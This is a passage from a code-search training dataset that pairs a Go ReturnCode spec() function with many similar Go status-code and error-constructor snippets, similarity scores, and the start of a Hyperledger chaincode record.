util.Callers(),\n\t}\n}", "func newResponse(regex string, code int) Response {\n\tr := Response{Code: code}\n\tr.Regex = regexp.MustCompile(regex)\n\treturn r\n}", "func (o *CreateRepository28Created) Code() int {\n\treturn 201\n}", "func New(statusCode int, err error) error {\n\treturn Value{\n\t\tStatusCode: statusCode,\n\t\tErr: err,\n\t}\n}", "func newCodeResponseWriter(w http.ResponseWriter) *codeResponseWriter {\n\treturn &codeResponseWriter{w, http.StatusOK}\n}", "func (r *results) SetReturnCode(returnCode int) {\n\tr.returnCode = returnCode\n}", "func (o *CreateRepository38Created) Code() int {\n\treturn 201\n}", "func New(err string, statusCode int) *Error {\n\treturn &Error{Err: err, StatusCode: statusCode}\n}", "func (o *CreateIOCDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *ObjectsCreateOK) Code() int {\n\treturn 200\n}", "func (o *CreateRepository32Created) Code() int {\n\treturn 201\n}", "func new(c int, msg string) *Status {\n\treturn &Status{s: &spb.Status{Code: int32(c), Message: msg, Details: make([]*anypb.Any, 0)}}\n}", "func newErrResponse(code int, err error) *ErrResponse {\n\treturn &ErrResponse{Code: code, Err: err}\n}", "func New(code int, msg string) *Status {\n\tif code < 0 {\n\t\tpanic(fmt.Sprintf(\"status code must be greater than zero\"))\n\t}\n\n\testatus := add(code, msg)\n\n\treturn estatus\n}", "func GenerateNewCode() *Code {\n\treturn &Code{randomCode(10)}\n}", "func (o *CreateRepository37Created) Code() int {\n\treturn 201\n}", "func (o *CreateAccountDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *CreateFnDefault) Code() int {\n\treturn o._statusCode\n}", "func NewR(code int, msg string) ErrorR {\n\treturn &errorR{code: code, msg: msg}\n}", "func (o *CreateLocationDefault) Code() int {\n\treturn o._statusCode\n}", "func New(code uint32, status int, message string) Status {\n\treturn Status{\n\t\tXCode: code,\n\t\tXStatus: status,\n\t\tXMessage: message,\n\t}\n}", "func newResult(resp *internal.Response) Result {\n\treturn &result{resp: resp}\n}", "func New(class int, code Code, v ...interface{}) *Error {\n\tvar format, message string\n\tif len(v) == 0 {\n\t\tformat = \"\"\n\t} else {\n\t\tvar ok bool\n\t\tformat, ok = v[0].(string)\n\t\tif !ok {\n\t\t\tformat = strings.Repeat(\"%v\", len(v))\n\t\t} else {\n\t\t\tv = v[1:]\n\t\t}\n\t}\n\tmessage = fmt.Sprintf(format, v...)\n\n\te := &Error{}\n\te.Description = message\n\te.Class = int32(class)\n\te.Stack = getStack(1)\n\te.Created = time.Now().UnixNano()\n\te.Code = code.String()\n\treturn e\n}", "func Code(code int) {\n\tDefault.ExitCode = code\n\tpanic(msg{Default, \"\"})\n}", "func (o *CreateTagDefault) Code() int {\n\treturn o._statusCode\n}", "func NewReturnNode(info token.FileInfo) *ReturnNode {\n\treturn &ReturnNode{\n\t\tFileInfo: info,\n\t\tNodeType: NodeReturn,\n\t}\n}", "func NewCode(cause CausedBy, low uint32) Code {\n\treturn Code(uint32(cause) + low)\n}", "func (err *ErrDescriptor) New(attributes Attributes) Error {\n\tif err.Code != NoCode && !err.registered {\n\t\tpanic(fmt.Errorf(\"Error descriptor with code %v was not registered\", err.Code))\n\t}\n\n\treturn &impl{\n\t\tmessage: Format(err.MessageFormat, attributes),\n\t\tcode: err.Code,\n\t\ttyp: err.Type,\n\t\tattributes: attributes,\n\t}\n}", "func newResponse(code int, body io.Reader, req *http.Request) *http.Response {\n\tif body == nil {\n\t\tbody = &bytes.Buffer{}\n\t}\n\n\trc, ok := body.(io.ReadCloser)\n\tif !ok {\n\t\trc = ioutil.NopCloser(body)\n\t}\n\n\tres := &http.Response{\n\t\tStatusCode: code,\n\t\tStatus: fmt.Sprintf(\"%d %s\", code, http.StatusText(code)),\n\t\tProto: \"HTTP/1.1\",\n\t\tProtoMajor: 1,\n\t\tProtoMinor: 1,\n\t\tHeader: http.Header{},\n\t\tBody: rc,\n\t\tRequest: req,\n\t}\n\n\tif req != nil {\n\t\tres.Close = req.Close\n\t\tres.Proto = req.Proto\n\t\tres.ProtoMajor = req.ProtoMajor\n\t\tres.ProtoMinor = req.ProtoMinor\n\t}\n\n\treturn res\n}", "func TestAddenda99MakeReturnCodeDict(t *testing.T) {\n\tcodes := makeReturnCodeDict()\n\t// check if known code is present\n\t_, prs := codes[\"R01\"]\n\tif !prs {\n\t\tt.Error(\"Return Code R01 was not found in the ReturnCodeDict\")\n\t}\n\t// check if invalid code is present\n\t_, prs = codes[\"ABC\"]\n\tif prs {\n\t\tt.Error(\"Valid return for an invalid return code key\")\n\t}\n}", "func New() string {\n\treturn GenerateReasonableCode(6)\n}", "func NewCode(code gcode.Code, text ...string) error {\n\treturn &Error{\n\t\tstack: callers(),\n\t\ttext: strings.Join(text, \", \"),\n\t\tcode: code,\n\t}\n}", "func (o *SecurityKeyManagerKeyServersCreateDefault) Code() int {\n\treturn o._statusCode\n}", "func New(code int, err error) error {\n\treturn &httpError{err: err, code: code}\n}", "func (o *NvmeSubsystemMapCreateDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *SnapshotCreateDefault) Code() int {\n\treturn o._statusCode\n}", "func newSuccessResp(key, msg string) *ResponseType {\n\treturn &ResponseType{Ok: true, Message: msg, Key: key}\n}", "func New(statusCode int, message string) *Error {\n\treturn &Error{\n\t\tstatusCode: statusCode,\n\t\tMessage: message,\n\t}\n}", "func (o *GetConstructorOK) Code() int {\n\treturn 200\n}", "func (o *FpolicyPolicyCreateDefault) Code() int {\n\treturn o._statusCode\n}", "func New(status int, msg string) error {\n\treturn Wrap(status, errors.New(msg))\n}", "func (o *ObjectsClassReferencesCreateOK) Code() int {\n\treturn 200\n}", "func newError(t *txn) *Error {\n\treturn &Error {\n\t\tErr \t: t.resp.ErrCode,\n\t\tDetail\t: t.resp.GetErrDetail(),\n\t}\n}", "func newProgramCode() programCode {\n\tvar code programCode\n\tcode.intMap = make(map[string]int64)\n\tcode.stringMap = make(map[string]string)\n\tcode.strCounter = 0\n\tcode.funcSlice = make([]string, 100) // TODO: Make this more dynamic e.g.: zero-length slice with dynamic append()\n\tcode.lastLabel = make([]string, 100) // TODO: Make this more dynamic e.g.: zero-length slice with dynamic append()\n\tcode.labelCounter = 0\n\n\tcode.indentLevel = 0\n\tcode.labelFlag = false\n\tcode.forLoopFlag = false\n\tcode.code = \"\"\n\tcode.funcCode = make([]string, 100) // TODO: Make this more dynamic e.g.: zero-length slice with dynamic append()\n\n\treturn code\n}", "func New(data ...Instr) *Code {\n\n\treturn &Code{data, nil}\n}", "func init() {\n\n\tCodes = Responses{}\n\n\tCodes.FailLineTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Line too long!\",\n\t}).String()\n\n\tCodes.FailMailboxDoesntExist = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Sorry, no mailbox here by that name!\",\n\t}).String()\n\n\tCodes.FailNestedMailCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Nested mail command!\",\n\t}).String()\n\n\tCodes.FailBadSequence = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sequence!\",\n\t}).String()\n\n\tCodes.SuccessMailCmd = (&Response{\n\t\tEnhancedCode: OtherAddressStatus,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.SuccessHelpCmd = \"214\"\n\n\tCodes.SuccessRcptCmd = (&Response{\n\t\tEnhancedCode: DestinationMailboxAddressValid,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.SuccessResetCmd = Codes.SuccessMailCmd\n\tCodes.SuccessNoopCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.ErrorUnableToResolveHost = (&Response{\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Unable to resolve host!\",\n\t\tBasicCode: 451,\n\t}).String()\n\n\tCodes.SuccessVerifyCmd = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 252,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Cannot verify user!\",\n\t}).String()\n\n\tCodes.ErrorTooManyRecipients = (&Response{\n\t\tEnhancedCode: TooManyRecipients,\n\t\tBasicCode: 452,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Too many recipients!\",\n\t}).String()\n\n\tCodes.FailTooBig = (&Response{\n\t\tEnhancedCode: MessageLengthExceedsAdministrativeLimit,\n\t\tBasicCode: 552,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Message exceeds maximum size!\",\n\t}).String()\n\n\tCodes.FailMailboxFull = (&Response{\n\t\tEnhancedCode: MailboxFull,\n\t\tBasicCode: 522,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Users mailbox is full!\",\n\t}).String()\n\n\tCodes.ErrorRelayDenied = (&Response{\n\t\tEnhancedCode: BadDestinationMailboxAddress,\n\t\tBasicCode: 454,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Relay access denied!\",\n\t}).String()\n\n\tCodes.ErrorAuth = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 454,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Problem with auth!\",\n\t}).String()\n\n\tCodes.SuccessQuitCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 221,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Bye!\",\n\t}).String()\n\n\tCodes.FailNoSenderDataCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"No sender!\",\n\t}).String()\n\n\tCodes.FailNoRecipientsDataCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"No recipients!\",\n\t}).String()\n\n\tCodes.FailAccessDenied = (&Response{\n\t\tEnhancedCode: DeliveryNotAuthorized,\n\t\tBasicCode: 530,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Authentication required!\",\n\t}).String()\n\n\tCodes.FailAccessDenied = (&Response{\n\t\tEnhancedCode: DeliveryNotAuthorized,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Relay access denied!\",\n\t}).String()\n\n\tCodes.ErrorRelayAccess = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 455,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Oops, problem with relay access!\",\n\t}).String()\n\n\tCodes.SuccessDataCmd = \"354 Go ahead!\"\n\n\tCodes.SuccessAuthentication = (&Response{\n\t\tEnhancedCode: SecurityStatus,\n\t\tBasicCode: 235,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Authentication successful!\",\n\t}).String()\n\n\tCodes.SuccessStartTLSCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 220,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Ready to start TLS!\",\n\t}).String()\n\n\tCodes.FailUnrecognizedCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Unrecognized command!\",\n\t}).String()\n\n\tCodes.FailMaxUnrecognizedCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Too many unrecognized commands!\",\n\t}).String()\n\n\tCodes.ErrorShutdown = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 421,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Server is shutting down. Please try again later!\",\n\t}).String()\n\n\tCodes.FailReadLimitExceededDataCmd = (&Response{\n\t\tEnhancedCode: SyntaxError,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.FailCmdNotSupported = (&Response{\n\t\tBasicCode: 502,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Cmd not supported\",\n\t}).String()\n\n\tCodes.FailUnqalifiedHostName = (&Response{\n\t\tEnhancedCode: SyntaxError,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Need fully-qualified hostname for domain part\",\n\t}).String()\n\n\tCodes.FailReadErrorDataCmd = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 451,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.FailPathTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Path too long\",\n\t}).String()\n\n\tCodes.FailInvalidAddress = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Syntax: MAIL FROM:<address> [EXT]\",\n\t}).String()\n\n\tCodes.FailInvalidRecipient = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Syntax: RCPT TO:<address>\",\n\t}).String()\n\n\tCodes.FailInvalidExtension = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Invalid arguments\",\n\t}).String()\n\n\tCodes.FailLocalPartTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Local part too long, cannot exceed 64 characters\",\n\t}).String()\n\n\tCodes.FailDomainTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Domain cannot exceed 255 characters\",\n\t}).String()\n\n\tCodes.FailMissingArgument = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Argument is missing in you command\",\n\t}).String()\n\n\tCodes.FailBackendNotRunning = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Transaction failed - backend not running \",\n\t}).String()\n\n\tCodes.FailBackendTransaction = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.SuccessMessageQueued = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 250,\n\t\tClass: ClassSuccess,\n\t\tComment: \"OK Queued as \",\n\t}).String()\n\n\tCodes.FailBackendTimeout = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR transaction timeout\",\n\t}).String()\n\n\tCodes.FailAuthentication = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 535,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR Authentication failed\",\n\t}).String()\n\n\tCodes.ErrorCmdParamNotImplemented = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 504,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR Command parameter not implemented\",\n\t}).String()\n\n\tCodes.FailRcptCmd = (&Response{\n\t\tEnhancedCode: BadDestinationMailboxAddress,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"User unknown in local recipient table\",\n\t}).String()\n\n\tCodes.FailBadSenderMailboxAddressSyntax = (&Response{\n\t\tEnhancedCode: BadSendersMailboxAddressSyntax,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sender address syntax\",\n\t}).String()\n\n\tCodes.FailBadDestinationMailboxAddressSyntax = (&Response{\n\t\tEnhancedCode: BadSendersMailboxAddressSyntax,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sender address syntax\",\n\t}).String()\n\n\tCodes.FailEncryptionNeeded = (&Response{\n\t\tEnhancedCode: EncryptionNeeded,\n\t\tBasicCode: 523,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"TLS required, use STARTTLS\",\n\t}).String()\n\n\tCodes.FailUndefinedSecurityStatus = (&Response{\n\t\tEnhancedCode: SecurityStatus,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Undefined security failure\",\n\t}).String()\n}", "func (o *CreateAddonV2Default) Code() int {\n\treturn o._statusCode\n}", "func (o *CreateNdmpUserDefault) Code() int {\n\treturn o._statusCode\n}", "func (r *ResultsProxy) SetReturnCode(returnCode int) {\n\tr.Atomic(func(results Results) { results.SetReturnCode(returnCode) })\n}", "func newResponse(data map[string]string) (*AMIResponse, error) {\n\tr, found := data[\"Response\"]\n\tif !found {\n\t\treturn nil, errors.New(\"Not Response\")\n\t}\n\tresponse := &AMIResponse{ID: data[\"ActionID\"], Status: r, Params: make(map[string]string)}\n\tfor k, v := range data {\n\t\tif k == \"Response\" {\n\t\t\tcontinue\n\t\t}\n\t\tresponse.Params[k] = v\n\t}\n\treturn response, nil\n}", "func (o *ObjectsCreateBadRequest) Code() int {\n\treturn 400\n}", "func (this *ConnackMessage) ReturnCode() ConnackCode {\n\treturn this.returnCode\n}", "func (o *InsertUserKeyValueCreated) Code() int {\n\treturn 201\n}", "func (o *GetProjectOK) Code() int {\n\treturn 200\n}", "func (msg *UnSubAck) AddReturnCodes(ret []ReasonCode) error {\n\tfor _, c := range ret {\n\t\tif msg.version == ProtocolV50 && !c.IsValidForType(msg.mType) {\n\t\t\treturn ErrInvalidReturnCode\n\t\t} else if !QosType(c).IsValidFull() {\n\t\t\treturn ErrInvalidReturnCode\n\t\t}\n\n\t\tmsg.returnCodes = append(msg.returnCodes, c)\n\t}\n\n\treturn nil\n}", "func Return(ctx *gin.Context, code status.Code, data interface{}) {\n\tResponse(ctx, http.StatusOK, int(code), code.String(), data)\n}", "func Return(code int) {\n\tpanic(exitCode(code))\n}", "func Return(code int) {\n\tpanic(exitCode(code))\n}", "func New(code ErrorCodeType, message string) AuthError {\n\treturn &MyError{code: code, message: message}\n}", "func newSimpleExec(code int, err error) simpleExec {\n\treturn simpleExec{code: code, err: err}\n}", "func (o *V2CreatePoolTemplateDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *PortsetCreateDefault) Code() int {\n\treturn o._statusCode\n}", "func New(code string, message string) CarError {\n\treturn CarError{\n\t\tMessage: message,\n\t\tCode: code,\n\t}\n}", "func (o *CreateAntivirusServerDefault) Code() int {\n\treturn o._statusCode\n}", "func NewErrCode(code uint16) (ret ErrCode) {\n\tvar ok bool\n\tif ret, ok = errCodeMap[code]; !ok {\n\t\tret = errCodeMap[cErrCodeXX]\n\t\treturn\n\t}\n\treturn\n}", "func Exit(code uint64)", "func (s *BasemumpsListener) ExitCode(ctx *CodeContext) {}", "func (o *CreateMoveTaskOrderCreated) Code() int {\n\treturn 201\n}", "func New(c codes.Code, msg string) *Status {\n\treturn status.New(c, msg)\n}", "func New(c codes.Code, msg string) *Status {\n\treturn status.New(c, msg)\n}", "func execNew(_ int, p *gop.Context) {\n\targs := p.GetArgs(1)\n\tret := errors.New(args[0].(string))\n\tp.Ret(1, ret)\n}", "func (o *SecurityLogForwardingCreateDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *CreateAuthUserDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *GetCustomObjectsByIDByIDDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *GetProjectDefault) Code() int {\n\treturn o._statusCode\n}", "func NewResponse(code int, body interface{}) Response {\n\treturn Response{\n\t\tcode: code,\n\t\tbody: body,\n\t}\n}", "func newResponse(r *http.Response) *Response {\n\treturn &Response{Response: r}\n}", "func (o *CreateRepository8Unauthorized) Code() int {\n\treturn 401\n}", "func (err gourdError) ExitCode() int {\n\treturn err.code\n}", "func (o *CreateSplitTestDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *TenancyContactGroupsCreateDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *CreateWorkflowDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *ExtrasImageAttachmentsCreateDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *GetCloudProjectServiceNameCreditDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *GetLibcVersionDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *ObjectsCreateUnauthorized) Code() int {\n\treturn 401\n}", "func (o *RefundPaymentByExternalKeyCreated) Code() int {\n\treturn 201\n}", "func (o *AddAPIDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *CreateSecurityListDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *GetNiaapiDcnmLatestMaintainedReleasesDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *PostPciLinksMoidDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *CustomerCustomerRepositoryV1GetByIDGetMineDefault) Code() int {\n\treturn o._statusCode\n}", "func newResponse(r *http.Response) *Response {\n\tresponse := Response{Response: r}\n\n\treturn &response\n}" ]
[ "0.6256469", "0.6061531", "0.5969034", "0.5876649", "0.5848557", "0.58156854", "0.5738153", "0.57201153", "0.5674279", "0.5673509", "0.5670998", "0.56539714", "0.5597719", "0.5592528", "0.55620515", "0.54963934", "0.54937226", "0.54832655", "0.5473726", "0.54594547", "0.5400026", "0.53939706", "0.5392257", "0.5390436", "0.53899866", "0.5362669", "0.53462726", "0.53459674", "0.5337195", "0.53283745", "0.5326292", "0.53258747", "0.53126967", "0.52911586", "0.52875143", "0.5266537", "0.52610373", "0.52544785", "0.5253109", "0.5245759", "0.5235128", "0.52289927", "0.5217822", "0.52162933", "0.5215078", "0.5215072", "0.52143735", "0.521278", "0.5211772", "0.5208249", "0.52049315", "0.5195762", "0.5192804", "0.51909995", "0.51749104", "0.51709145", "0.5159665", "0.5158845", "0.51564634", "0.51554096", "0.51504207", "0.5142333", "0.51361233", "0.5123819", "0.5123819", "0.5123483", "0.51020885", "0.5097289", "0.509582", "0.50919425", "0.50771934", "0.507235", "0.507064", "0.5064587", "0.5062003", "0.50577813", "0.50577813", "0.5055495", "0.5055001", "0.50494796", "0.5049438", "0.50475186", "0.50465643", "0.50427336", "0.50405264", "0.5038223", "0.5033158", "0.5032739", "0.5031704", "0.5027213", "0.5025094", "0.50214976", "0.5017593", "0.50137025", "0.5010565", "0.50099343", "0.500507", "0.5002116", "0.4997975", "0.49954215" ]
0.8980767
0
function spec() replaces the info string of an existing ReturnCode object with the specified string and returns the updated ReturnCode object. the existing return code and description fields are left unchanged.
func (c *ReturnCode) spec(info string) *ReturnCode { c.info = info return c }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func newReturnCode(kind ReturnCodeKind, code int, desc string, info string) *ReturnCode {\n\treturn &ReturnCode{kind, code, desc, info}\n}", "func update(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\nfmt.Println(\"************************ UPDATE ************************* \")\n\t\n\t\tvar key string\n\n\t\t\t\tmystr :=mystruct{}\n\t\t\t\tmystr.ModelNumber = args[0]\n\t\t\t\tmystr.SerialNumber = args[1]\n\t\t\t\tmystr.CP = args[2]\n\t\t\t\tmystr.NP = args[3]\n\t\t\t\tmystr.CFlag = args[4]\n\t\t\t\tmystr.OrderNo = args[5]\n\t\t\t\tmystr.M_R_D = args[6]\n\t\t\t\tmystr.Location = args[7]\n\t\t\t\tmystr.Date_time = args[8]\n\t\t\t\t\n\t\t\t\t\n\t\tjsonAsBytes, _ := json.Marshal(mystr)\n\t\t\t\t\n\t\tkey = args[0] + \"-\" +args[1]\n\t\t\n\t\tExists, err := stub.GetState(key)\n\t\t\n\t\t\n\tif err != nil {\n\t\tjsonResp := \"{\\\"Error\\\":\\\"Failed to process for \" + key + \"\\\"}\"\n\t\tfmt.Println(\"Error after get state\", err)\n\t\treturn shim.Error(jsonResp)\n\t}\n\n\tif Exists == nil {\n\tjsonResp1 := \"{\\\"Message\\\":\\\"Counter-fiet product.\\\"}\"\n\tfmt.Println(\"Counter-fiet product.\")\n\tjsonAsBytes1, _ := json.Marshal(jsonResp1)\n\t\treturn shim.Success(jsonAsBytes1);\n\t\t\n\t} else {\n\t\n\t//Update as the value is found\n\tfmt.Println(\"Model-Serial match found\")\n\t\t\t\tfmt.Println(mystr)\n\t\t\t\tfmt.Println(jsonAsBytes)\n\t\t\t\tfmt.Println(string(jsonAsBytes))\n\n\t\t\t\terr := stub.PutState(key, jsonAsBytes)\n\t\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Error in putState\",err)\n\t\t\t\treturn shim.Error(err.Error())\n\t\t}\n\t\tjsonResp2 := \"{\\\"Message\\\":\\\"Successfully Updated.\\\"}\"\n\t\tjsonAsBytes, _ := json.Marshal(jsonResp2)\n\t\tfmt.Println(\"All Fine\")\n\t\treturn shim.Success(jsonAsBytes);\n\t}\n\t\t\t\n}", "func (cc *ChaincodeEnv) getChaincodeSpec(args [][]byte) *pb.ChaincodeSpec {\r\n\tspec := &pb.ChaincodeSpec{}\r\n\tfuncname := cc.Function\r\n\tinput := &pb.ChaincodeInput{}\r\n\tinput.Args = append(input.Args, []byte(funcname))\r\n\r\n\tfor _, arg := range args {\r\n\t\tinput.Args = append(input.Args, arg)\r\n\t}\r\n\r\n\tlogger.Debug(\"ChaincodeSpec input :\", input, \" funcname:\", funcname)\r\n\tvar golang = pb.ChaincodeSpec_Type_name[1]\r\n\tspec = &pb.ChaincodeSpec{\r\n\t\tType: pb.ChaincodeSpec_Type(pb.ChaincodeSpec_Type_value[golang]),\r\n\t\t// ChaincodeId: &pb.ChaincodeID{Name: cc.ChaincodeName, Version: cc.ChaincodeVersion},\r\n\t\tChaincodeId: &pb.ChaincodeID{Name: cc.ChaincodeName},\r\n\t\tInput: input,\r\n\t}\r\n\treturn spec\r\n}", "func Test_CreateStmUpdateProductByCode(t *testing.T) {\n\tresult := createStmUpdateByCode(&aldoutil.Product{}, \"\")\n\t// log.Println(result)\n\tif result == \"\" {\n\t\tt.Errorf(\"Received a empty string, want some string\")\n\t}\n}", "func (c *ReturnCode) specf(format string, v ...interface{}) *ReturnCode {\n\ts := fmt.Sprintf(format, v...)\n\treturn c.spec(s)\n}", "func (o InnerErrorResponseOutput) Code() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v InnerErrorResponse) *string { return v.Code }).(pulumi.StringPtrOutput)\n}", "func (t *IPDCChaincode) invoke_insert_update(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\r\n\r\n\tfmt.Println(\"***********Entering invoke_insert_update***********\")\r\n\r\n\tvar success string\r\n\r\n\tif len(args) < 1 {\r\n\r\n\t\tfmt.Println(\"Error: Incorrect number of arguments\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Incorrect number of arguments\")\r\n\t}\r\n\r\n\tsuccess = \"\"\r\n\r\n\tvar record_specification_input map[string]interface{}\r\n\r\n\tvar record_specification = make(map[string]interface{})\r\n\r\n\tvar err error\r\n\r\n\terr = json.Unmarshal([]byte(args[0]), &record_specification_input)\r\n\t// fmt.Println(\"************************************************\")\r\n\t// fmt.Println(args[0])\r\n\t// fmt.Println(record_specification_input)\r\n\t// fmt.Println(err)\r\n\t// fmt.Println(\"************************************************\")\r\n\r\n\tif err != nil {\r\n\t\terr = json.Unmarshal([]byte(args[1]), &record_specification_input)\r\n\t\tfmt.Println(\"------------------------------------------------\")\r\n\t\tfmt.Println(args[0])\r\n\t\tfmt.Println(record_specification_input)\r\n\t\tfmt.Println(err)\r\n\t\tfmt.Println(\"------------------------------------------------\")\r\n\t\tif err != nil {\r\n\r\n\t\t\tfmt.Println(\"Error in reading input record\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error in reading input record\")\r\n\t\t}\r\n\t}\r\n\r\n\terr = t.StringValidation(record_specification_input, map_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(err.Error())\r\n\t}\r\n\r\n\tvar check int\r\n\r\n\tcheck, err = t.Mandatoryfieldscheck(record_specification_input, map_specification)\r\n\r\n\tif check == 1 {\r\n\r\n\t\tfmt.Println(err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(err.Error())\r\n\t}\r\n\r\n\tif err != nil {\r\n\r\n\t\tsuccess = err.Error()\r\n\t}\r\n\r\n\tcheck, err = t.Datefieldscheck(record_specification_input, map_specification)\r\n\r\n\tif check == 1 